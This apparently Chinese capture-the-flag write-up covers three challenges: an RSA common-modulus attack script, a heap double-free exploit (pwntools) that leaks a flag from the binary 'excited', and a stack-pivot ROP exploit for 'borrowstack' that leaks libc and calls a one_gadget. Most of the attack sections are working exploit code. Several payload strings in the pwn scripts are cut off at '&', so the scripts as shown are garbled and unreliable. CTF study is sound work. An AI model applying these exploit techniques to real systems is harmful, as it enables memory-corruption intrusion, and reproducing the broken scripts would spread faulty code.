Crypto 1. easy_rsa 下载附件,内容如下:
1 2 3 4 5 6 n = 27560959918385616419486273009594513460044316476337842585463553105701869531698366304637678008602799005181601310816935394003041930445509801196554897781529962616349442136039951911764620999116915741924245788988332766182305635804754798018489793066811741026902011980807157882639313892932653620491354630354060462594865874663773934670618930504925812833202047183166423043264815905853486053255310346030416687430724204177468176762512566055165798172418622268751968793997676391170773216291607752885987933866163158257336522567086228092863302685493888839866559622429685925525799985062044536032584132602747754107800116960090941957657 e1 = 464857 e2 = 190529 c1 = 21823306870841016169952481786862436752894840403702198056283357605213928505593301063582851595978932538906067287633295577036042158302374948726749348518563038266373826871950904733691046595387955703305846728530987885075910490362453202598654326947224392718573893241175123285569008519568745153449344966513636585290770127055273442962689462195231016899149101764299663284434805817339348868793709084130862028614587704503862805479792184019334567648078767418576316170976110991128933886639402771294997811025942544455255589081280244545901394681866421223066422484654301298662143648389546410087950190562132305368935595374543145047531 c2 = 9206260935066257829121388953665257330462733292786644374322218835580114859866206824679553444406457919107749074087554277542345820215439646770680403669560474462369400641865810922332023620699210211474208020801386285068698280364369889940167999918586298280468301097349599560130461998493342138792264005228209537462674085410740693861782834212336781821810115004115324470013999092462310414257990310781534056807393206155460371454836230410545171068506044174001172922614805135260670524852139187370335492876094059860576794839704978988507147972109411033377749446821374195721696073748745825273557964015532261000826958288349348269664
一个 n 两个 e 两个 c ,判断为 RSA 共模攻击,上脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from libnum import n2s, s2nfrom gmpy2 import invertdef egcd (a, b ): if a == 0 : return (b, 0 , 1 ) else : g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def main (): n = 27560959918385616419486273009594513460044316476337842585463553105701869531698366304637678008602799005181601310816935394003041930445509801196554897781529962616349442136039951911764620999116915741924245788988332766182305635804754798018489793066811741026902011980807157882639313892932653620491354630354060462594865874663773934670618930504925812833202047183166423043264815905853486053255310346030416687430724204177468176762512566055165798172418622268751968793997676391170773216291607752885987933866163158257336522567086228092863302685493888839866559622429685925525799985062044536032584132602747754107800116960090941957657 c1 = 21823306870841016169952481786862436752894840403702198056283357605213928505593301063582851595978932538906067287633295577036042158302374948726749348518563038266373826871950904733691046595387955703305846728530987885075910490362453202598654326947224392718573893241175123285569008519568745153449344966513636585290770127055273442962689462195231016899149101764299663284434805817339348868793709084130862028614587704503862805479792184019334567648078767418576316170976110991128933886639402771294997811025942544455255589081280244545901394681866421223066422484654301298662143648389546410087950190562132305368935595374543145047531 c2 = 9206260935066257829121388953665257330462733292786644374322218835580114859866206824679553444406457919107749074087554277542345820215439646770680403669560474462369400641865810922332023620699210211474208020801386285068698280364369889940167999918586298280468301097349599560130461998493342138792264005228209537462674085410740693861782834212336781821810115004115324470013999092462310414257990310781534056807393206155460371454836230410545171068506044174001172922614805135260670524852139187370335492876094059860576794839704978988507147972109411033377749446821374195721696073748745825273557964015532261000826958288349348269664 e1 = 464857 e2 = 190529 s = egcd(e1, e2) s1 = s[1 ] s2 = s[2 ] if s1 < 0 : s1 = - s1 c1 = invert(c1, n) elif s2 < 0 : s2 = - s2 c2 = invert(c2, n) m = pow (c1, s1, n) * pow (c2, s2, n) % n print(n2s(m)) if __name__ == & main()
Pwn Some_thing_exceting 64 位打开 Canary、NX ,菜单式程序,基本增删查改功能。creat 函数内发现数据结构体,允许 size 为 1~112 :
1 2 3 4 struct Banala { char *ba; char *na }
漏洞为 double free ,位于 delete 函数,free 后没有归零指针:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 unsigned __int64 delete () { int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("#######################"); puts ("# Delete Banana #"); puts ("#---------------------#"); printf ("> Banana ID : "); _isoc99_scanf((__int64)"%d", (__int64)&v1); if ( v1 < 0 || v1 > 10 || !ptr[v1] ) { puts ("Emmmmmm!Maybe you want Fool me!"); goodbye(); } free (*(void **)ptr[v1]); free (*((void **)ptr[v1] + 1 )); free (ptr[v1]); puts ("#---------------------#"); puts ("# ALL Down! #"); puts ("#######################"); return __readfsqword(0x28 u) ^ v2; }
在看后门函数 read_flag() ,将 flag 读入到 bss 段,并且(15行)写入 0x60 。若假设 flag 位于某一个堆的 fd 位置, 0x60 刚好位于该堆的 size 位。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 unsigned __int64 read_flag () { FILE *stream; unsigned __int64 v2; v2 = __readfsqword(0x28 u); setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); stream = fopen("/flag", "r"); if ( !stream ) { puts ("Emmmmmm!Maybe you want Fool me!"); exit (0 ); } byte_6020A0 = 96 ; fgets(s, 45 , stream); return __readfsqword(0x28 u) ^ v2; }
利用思路:double free 让某一个堆既处于 fastbin 又是被分配状态。修改该堆 fd 指针,重新分配相同大小堆,用程序 view 函数读出。
完整 exp 如下:
最后一轮申请堆使用的是0x20 是因为修改了堆数据,申请其他大小会报错,所以就用 fastbin 中剩下的堆,gdb 查一下就看到了剩下 0x20 ,所以用 0x20 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *context.log_level = & p = process("./excited") def creat (ba_len,ba,na_len,na ): p.recvuntil("want to do :") p.sendline("1 ") p.recvuntil("length :") p.sendline(str (ba_len)) p.recvuntil("ba :") p.sendline(ba) p.recvuntil("length :") p.sendline(str (na_len)) p.recvuntil("na :") p.sendline(na) def delete (id ): p.recvuntil("want to do :") p.sendline("3 ") p.recvuntil("ID :") p.sendline(str (id )) def view (id ): p.recvuntil("want to do :") p.sendline("4 ") p.recvuntil("ID :") p.sendline(str (id )) creat(0x50 ,& creat(0x50 ,& creat(0x50 ,& delete(0 ) delete(1 )//间隔 delete(0 )//double free creat(0x50 ,p64(0x06020A8 -0x10 )*10 ,0x50 ,p64(0x06020A8 -0x10 )*10 )//edit chunk1 fd to flag creat(0x50 ,& creat(0x50 ,& view(5 ) p.interactive()
还有点不清楚的就是:完成 double free 后申请堆的时候,使用 fastbin 的顺序很奇怪。具体点说:每轮 free fastbin 会增加 1 个 0x20 、2 个 0x60 chunk 。但是最终 free 3 轮后有 4 个 0x20 、6 个 0x60 。紧接着第一轮申请使用的是第三轮和第二轮各一个 0x60 。最后我是每申请一次就调试一次,看每次申请的是那块 chunk。
这里搞了很久,各位师傅知道的告诉一下。
borrowstack 64 位栈迁移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context.log_level = & p = process("./borrowstack") elf = ELF("./borrowstack") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6 ") bank = 0x601080 pop_rdi = 0x400703 leave = 0x400699 puts_plt = elf.plt[& puts_got = elf.got[& one_gadget = 0xf02a4 payload_0 = & payload_0 += p64(bank+0x90 ) + p64(leave) p.recvuntil(& p.send(payload_0) pay=& pay+=p64(0x0400680 ) p.sendafter(& libc_base=u64(p.recv(6 )[:].ljust(8 ,& info("one:"+hex (libc_base+one_gadget)) pay=& p.sendline(pay) p.interactive()